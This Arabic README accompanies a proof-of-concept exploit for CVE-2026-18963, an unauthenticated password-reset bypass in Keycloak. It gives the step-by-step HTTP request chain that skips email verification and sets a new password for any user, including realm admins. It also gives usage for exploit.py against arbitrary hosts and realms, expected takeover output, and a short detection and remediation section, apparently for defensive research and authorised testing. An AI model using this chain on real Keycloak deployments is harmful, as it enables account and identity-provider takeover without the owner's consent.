
استغلال لإثبات المفهوم لثغرة CVE-2026-18963، وهي ثغرة حرجة في تجاوز إعادة تعيين بيانات الاعتماد في Keycloak تتيح الاستيلاء على الحسابات دون مصادقة. يتضمن إعداد المختبر وإرشادات الكشف وخطوات المعالجة للاختبار المصرح به.
استيلاء غير مُصادَق عليه على الحساب في مسار إعادة تعيين بيانات الاعتماد في Keycloak. يمكن لمهاجم لا يعرف سوى اسم مستخدم/بريد إلكتروني إعادة تعيين كلمة مرور أي مستخدم — بما في ذلك المسؤولين (admins) — دون أن يستلم بريد التحقق إطلاقًا.
يُنشر هذا الإثبات المفاهيمي حصريًا للأغراض التعليمية والبحث الدفاعي وهندسة الكشف واختبار الأمان المصرح به.
انظر DISCLAIMER.md للاطلاع على البيان الكامل.
| CVE | CVE-2026-18963 |
| الخطورة | حرجة — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| الضعف | CWE-640 — آلية استرداد كلمة مرور ضعيفة |
| المتأثر | Keycloak < 26.7.2 (upstream). وكذلك خطوط بناء Red Hat المُصحَّحة عبر حِزم 26.6.6 / 26.4.15 |
| الإصلاح | Keycloak 26.7.2 (PR #51844) |
| الشروط المسبقة | تفعيل "نسيت كلمة المرور" (إعادة تعيين بيانات الاعتماد) في العالم (realm) — وهذا هو الوضع الافتراضي |
| الأثر | استيلاء كامل على حساب أي مستخدم (بما في ذلك مسؤولو العالم (realm)) ← اختراق موفّر الهوية (IdP) + وصول SSO جانبي |
عادةً ما يُجبرك مسار إعادة تعيين كلمة المرور (reset-credentials) على النقر فوق رابط يُرسَل بالبريد إلى مالك الحساب قبل أن تتمكن من تعيين كلمة مرور جديدة. ثغرتان تتيحان للمهاجم تجاوز هذا الفحص تمامًا:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" دون تقييد نطاقها بمعرّف التنفيذ (execution ID). تؤدي إعادة الدخول إلى المسار إلى ترك جلسة المصادقة في حالة مشوّشة/قديمة.ResetCredentialEmail.action() الدالةَ context.success() دون التحقق من ACTION_TOKEN_USER_ID (أي دون التأكد من أن رمز الإجراء المُرسَل بالبريد قد استُهلك فعلًا).يؤدي الربط بينهما إلى دفع جلسة المصادقة مباشرة إلى خطوة UPDATE_PASSWORD لمستخدم عشوائي، دون الحاجة إلى أي بريد إلكتروني.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
انظر docs/ROOTCAUSE.md للاطلاع على فرق التصحيح المُعلَّق.
ستحتاج إلى Docker وPython 3 مع مكتبة requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
الجزء المتوقع في نهاية المخرجات:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
ثم سجّل الدخول باسم victim / Pwned-2026! لتأكيد الاستيلاء على الحساب.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
تُكتب كل استجابة HTTP إلى ./dump/ للفحص.
يستخدم Keycloak المنفذ 8080 بالفعل، لذا وجّه مستمع Burp إلى منفذ آخر (مثل 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
سلسلة الطلبات الخام لـ Burp Repeater موجودة في
requests/burp-chain.txt.
ابحث عن تغيير كلمة مرور لم يسبقه تحقق عبر البريد الإلكتروني في نفس جلسة المصادقة:
UPDATE_PASSWORD بدون VERIFY_EMAIL / EXECUTE_ACTION_TOKEN سابق لتلك الجلسة.reset-credentials تحمل tryAnotherWay=on.login-actions/reset-credentials لنفس tab_id.تسجيل كامل للتشغيل موجود في CVE-2026-18963.mp4 (في جذر المستودع).
تم التحقق من السلسلة مقابل التصحيح العام لـ Keycloak (PR #51844) والكتابات المجتمعية.
MIT © red-darkin — للاستخدام التعليمي والاختبار المصرح به فقط.